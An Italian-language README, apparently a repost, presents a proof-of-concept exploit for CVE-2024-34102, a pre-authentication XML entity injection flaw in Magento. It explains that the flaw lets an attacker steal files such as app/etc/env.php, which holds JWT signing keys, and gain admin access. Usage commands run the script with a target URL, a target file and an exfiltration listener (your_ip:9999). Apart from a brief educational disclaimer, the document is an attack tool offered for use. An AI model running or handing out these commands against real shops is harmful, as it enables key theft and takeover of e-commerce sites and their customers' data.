CVE-2024-34102 PoC 🚀

Questo repository contiene un proof-of-concept (PoC) per la vulnerabilità critica di iniezione di entità XML (CVE-2024-34102) in Magento. Questa vulnerabilità consente l'esfiltrazione di file sensibili, che possono poi essere sfruttati per ottenere accesso non autorizzato alle funzionalità amministrative di Magento. Questo exploit è progettato a scopo educativo e deve essere utilizzato in modo responsabile.

Panoramica 📖

Magento è una delle soluzioni di e-commerce più popolari a livello globale. Nel giugno 2024 è stato scoperto un grave problema di iniezione di entità XML pre-autenticazione, identificato come CVE-2024-34102. Questa vulnerabilità può portare a conseguenze gravi, tra cui l'esfiltrazione del file app/etc/env.php di Magento, che contiene chiavi crittografiche utilizzate per firmare i JWT.

Caratteristiche 🌟

• Esfiltrare file sensibili da un'istanza Magento vulnerabile.
• Utilizzo semplice e diretto.
• Dimostrazione educativa dell'iniezione di entità XML.

Utilizzo 🚀

Prerequisiti

• Python 3.x
• Libreria requests (pip install requests)

Esecuzione dell'exploit

1. Clona il repository:

   root@kitploit:~

   git clone https://github.com/yourusername/CVE-2024-34102-exploit.git
   cd CVE-2024-34102-exploit
   

2. Esegui lo script con gli argomenti necessari:

   root@kitploit:~

   python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999
   

Argomenti da riga di comando

• --target-url: L'URL dell'istanza Magento target.
• --target-file: Il percorso del file sul server target da esfiltrare.
• --exfil-url: L'URL per ricevere i dati esfiltrati.

Esempio 🌐

python cve_2024_34102_exploit.py --target-url http://example.com --target-file /etc/hosts --exfil-url your_ip:9999